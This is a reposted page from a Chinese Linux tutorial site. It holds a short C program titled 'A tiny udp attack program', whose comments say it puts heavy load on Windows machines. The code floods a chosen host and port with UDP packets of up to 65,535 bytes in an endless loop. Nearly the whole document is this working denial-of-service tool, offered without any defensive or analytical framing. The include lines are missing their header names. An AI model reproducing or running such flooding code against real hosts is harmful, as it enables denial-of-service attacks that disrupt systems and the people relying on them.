当前位置:Linux教程 - Linux - A tiny udp attack program

A tiny udp attack program



         /*
    * Please don laugh at me :)
    * This is a simple udp attack program
    * Compile under linux
    * It is efficient to make a windows box heavy load
    */

    /*
    * udp-attack.c
    */

    #include
    #include
    #include
    #include
    #include
    #include

    #define MAX_SIZE 65535

    int main(int argc, char **argv)
    {
    int i, size, sockfd;
    unsigned short port;
    struct sockaddr_in servaddr;
    struct hostent *hostinfo;
    char sendbuf[MAX_SIZE];

    if (argc != 4) {
    printf("Usage: %s host port size \n", argv[0]);
    exit(-1);
    }

    port = atoi(argv[2]);

    size = atoi(argv[3]);
    if (size < 0)
    size = 0;
    if (size > MAX_SIZE)
    size = MAX_SIZE;

    if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
    perror("socket()");
    exit(-1);
    }

    if ((hostinfo = gethostbyname(argv[1])) == NULL) {
    herror("gethostbyname()");
    exit(-1);
    }

    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(port);
    servaddr.sin_addr = *((struct in_addr *)hostinfo->h_addr);


    printf("Destination: %s (%s)\n", hostinfo->h_name, \
    inet_ntoa(*((struct in_addr *)hostinfo->h_addr)));
    printf("Port: %d\n", port);
    printf("Package size: %d\n", size);

    for (i = 1; ; i++) {
    if (sendto(sockfd, sendbuf, size, 0, \
    (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) {
    perror("sendto()");
    exit(-1);
    }

    printf("Send %d packages.\r", i);
    fflush(stdout);
    }

    return 0;
    }
    发布人:liutao317 来自: